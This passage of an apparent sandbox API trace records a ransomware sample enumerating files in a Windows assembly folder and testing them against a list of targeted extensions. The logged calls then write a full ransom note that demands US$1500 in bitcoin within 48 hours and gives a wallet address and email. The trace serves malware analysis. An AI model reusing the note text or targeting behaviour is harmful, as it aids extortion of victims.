(pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.mpeg") returned 0 [0099.150] lstrlenA (lpString="*.mpeg") returned 6 [0099.150] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.djvu") returned 0 [0099.150] lstrlenA (lpString="*.djvu") returned 6 [0099.150] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.tiff") returned 0 [0099.150] lstrlenA (lpString="*.tiff") returned 6 [0099.150] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.backup") returned 0 [0099.150] lstrlenA (lpString="*.backup") returned 8 [0099.150] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.pdf") returned 0 [0099.150] lstrlenA (lpString="*.pdf") returned 5 [0099.150] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.cert") returned 0 [0099.151] lstrlenA (lpString="*.cert") returned 6 [0099.151] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.docm") returned 0 [0099.151] lstrlenA (lpString="*.docm") returned 6 [0099.151] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.xlsm") returned 0 [0099.151] lstrlenA (lpString="*.xlsm") returned 6 [0099.151] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.dwg") returned 0 [0099.151] lstrlenA (lpString="*.dwg") returned 5 [0099.151] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.nd") returned 0 [0099.151] lstrlenA (lpString="*.nd") returned 4 [0099.151] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.tlg") returned 0 [0099.151] lstrlenA (lpString="*.tlg") returned 5 [0099.151] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.lgb") returned 0 [0099.151] lstrlenA (lpString="*.lgb") returned 5 [0099.151] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.mov") returned 0 [0099.151] lstrlenA (lpString="*.mov") returned 5 [0099.151] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.xdw") returned 0 [0099.151] lstrlenA (lpString="*.xdw") returned 5 [0099.151] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.ods") returned 0 [0099.151] lstrlenA (lpString="*.ods") returned 5 [0099.152] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.wav") returned 0 [0099.152] lstrlenA (lpString="*.wav") returned 5 [0099.152] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.mp3") returned 0 [0099.152] lstrlenA (lpString="*.mp3") returned 5 [0099.152] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.aiff") returned 0 [0099.152] lstrlenA (lpString="*.aiff") returned 6 [0099.152] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.flac") returned 0 [0099.152] lstrlenA (lpString="*.flac") returned 6 [0099.152] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.m4a") returned 0 [0099.152] lstrlenA (lpString="*.m4a") returned 5 [0099.152] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", pszSpec="*.csv") returned 0 [0099.152] lstrlenA (lpString="*.csv") returned 5 [0099.152] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69b41ff0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69b41ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69b41ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Excel.AddInAdapter.v9.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0099.152] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0099.152] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69b41ff0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69b41ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69b41ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="9.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="900~1.0__")) returned 0 [0099.153] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0099.153] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa310a250, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa310a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa310a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x762e7265, dwReserved1=0x2e302e39, cFileName="Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0", cAlternateFileName="MI6362~1.0")) returned 1 [0099.153] lstrcmpA (lpString1=".", lpString2="Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0") returned -1 [0099.153] lstrcmpA (lpString1="..", lpString2="Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0") returned -1 [0099.153] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0099.153] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0" [0099.153] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0") returned 86 [0099.153] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa310a250, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa310a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa310a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0099.154] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0099.154] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa310a250, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa310a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa310a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.154] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0099.154] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0099.154] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69b41ff0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69b41ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69b41ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="9.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="900~1.0__")) returned 1 [0099.154] lstrcmpA (lpString1=".", lpString2="9.0.0.0__b03f5f7f11d50a3a") returned -1 [0099.154] lstrcmpA (lpString1="..", lpString2="9.0.0.0__b03f5f7f11d50a3a") returned -1 [0099.154] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\*.*") returned="*.*" [0099.154] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\", lpString2="9.0.0.0__b03f5f7f11d50a3a" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a" [0099.154] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a") returned 112 [0099.154] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69b41ff0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69b41ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69b41ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0099.155] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0099.155] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69b41ff0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69b41ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69b41ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.155] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0099.155] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0099.155] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69b41ff0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69b41ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69b41ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xd000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0099.155] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0099.155] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll") returned -1 [0099.155] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll") returned -1 [0099.155] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll") returned -1 [0099.155] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\*.*") returned="*.*" [0099.155] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\" [0099.155] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\") returned="" [0099.155] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" [0099.155] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.visualstudio.tools.office.excel.addinproxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\how to decrypt files.txt")) returned 0xffffffff [0099.156] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.visualstudio.tools.office.excel.addinproxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0099.164] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0099.164] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0099.166] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0099.181] CloseHandle (hObject=0x90) returned 1 [0099.181] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\", lpString2="Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll" [0099.181] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.ems") returned 0 [0099.181] lstrlenA (lpString="*.ems") returned 5 [0099.181] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.db") returned 0 [0099.181] lstrlenA (lpString="*.db") returned 4 [0099.181] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.dbf") returned 0 [0099.181] lstrlenA (lpString="*.dbf") returned 5 [0099.181] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.myox") returned 0 [0099.181] lstrlenA (lpString="*.myox") returned 6 [0099.181] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.myo") returned 0 [0099.181] lstrlenA (lpString="*.myo") returned 5 [0099.181] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.qbw") returned 0 [0099.181] lstrlenA (lpString="*.qbw") returned 5 [0099.182] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.qbb") returned 0 [0099.182] lstrlenA (lpString="*.qbb") returned 5 [0099.182] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.qbm") returned 0 [0099.182] lstrlenA (lpString="*.qbm") returned 5 [0099.194] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.qbo") returned 0 [0099.195] lstrlenA (lpString="*.qbo") returned 5 [0099.195] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.qbx") returned 0 [0099.195] lstrlenA (lpString="*.qbx") returned 5 [0099.195] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.qba") returned 0 [0099.195] lstrlenA (lpString="*.qba") returned 5 [0099.195] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.qby") returned 0 [0099.195] lstrlenA (lpString="*.qby") returned 5 [0099.195] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.qbj") returned 0 [0099.195] lstrlenA (lpString="*.qbj") returned 5 [0099.195] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.ofx") returned 0 [0099.195] lstrlenA (lpString="*.ofx") returned 5 [0099.195] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.qif") returned 0 [0099.195] lstrlenA (lpString="*.qif") returned 5 [0099.195] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.mye") returned 0 [0099.195] lstrlenA (lpString="*.mye") returned 5 [0099.195] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.mbox") returned 0 [0099.195] lstrlenA (lpString="*.mbox") returned 6 [0099.195] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.eml") returned 0 [0099.195] lstrlenA (lpString="*.eml") returned 5 [0099.195] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.dll", pszSpec="*.pst") returned 0 [0099.196] lstrlenA (lpString="*.pst") returned 5 [0099.196] PathMatchSpecA 